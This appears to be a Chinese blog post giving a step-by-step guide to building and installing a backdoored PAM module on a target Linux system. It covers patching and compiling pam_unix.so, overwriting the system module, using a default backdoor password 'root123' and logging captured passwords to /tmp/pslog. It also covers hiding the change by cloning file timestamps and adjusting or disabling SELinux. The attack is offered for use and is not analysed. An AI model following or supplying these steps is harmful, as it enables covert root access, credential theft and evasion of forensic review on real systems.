PAM后门编译安装

2014-01-22 293822人围观 ,发现 4 个不明物体 系统安全

PAM有许多版本,我们首先要从官方下载目标所使用的PAM源码包,并在本地修改后编译生成出pam_unix.so文件进行替换

http://www.linux-pam.org/library/

https://fedorahosted.org/releases/l/i/linux-pam/  

获取目标系统所使用的PAM版本:

rpm -qa|grep pam

下载后,在对应的系统环境下(32或x86_64位系统下)编译生成后门,patch目录下的“pam_unix_auth.c.patch”文件就是
补丁文件,pam_unix_auth.c 是PAM
1.1.1版本pam_unix.so的源文件,仅作参考。我们将补丁文件移动到源码目录,并使用patch命令对PAM源代码打补丁,然后编译生成即可。

mv pam_unix_auth.c.patch Linux-PAM-1.1.1/modules/pam_unix/
cd Linux-PAM-1.1.1/modules/pam_unix
patch < pam_unix_auth.c.patch
cd ../../
./configure & make

编译完后的文件在:modules/pam_unix/.libs/pam_unix.so

后门的默认密码:root123

记录密码的文件:/tmp/pslog

将生成的pam_uninx.so文件覆盖/lib/secruity/pam_unix.so或/lib64/security/pam_unix.so(记得备份原始文件),修改文件属性,手动建立密码保存文件,并使用touch命令克隆文件时间,如果selinux是开启的环境,一定要关掉或者设置好上下文pam_unix.so才能正常工作,搞定ok。

手动创建密码文件:

touch /tmp/pslog;chmod a+w /tmp/pslog

克隆原始文件时间:

touch pam_unix.so -r pam_unix.so.src

查看Selinux上下文:

ls -Z pam_unix.so.src (备份的原始文件)

设置Selinux上下文:

chcon –reference=pam_unix.so.src pam_unix.so

编译报错问题:

64位系统编译可能会遇到yywrap()函数未定义错误,只需安装flex软件包就可以正常编译了

示例:

yum install flex

下载地址:

Linux-PAM-1.1.1官方源码.tar.gz path

1感谢乌云某个兄弟

2不要在骂我了

这些评论亮了

发表评论

已有 4 条评论

取消
Loading...
css.php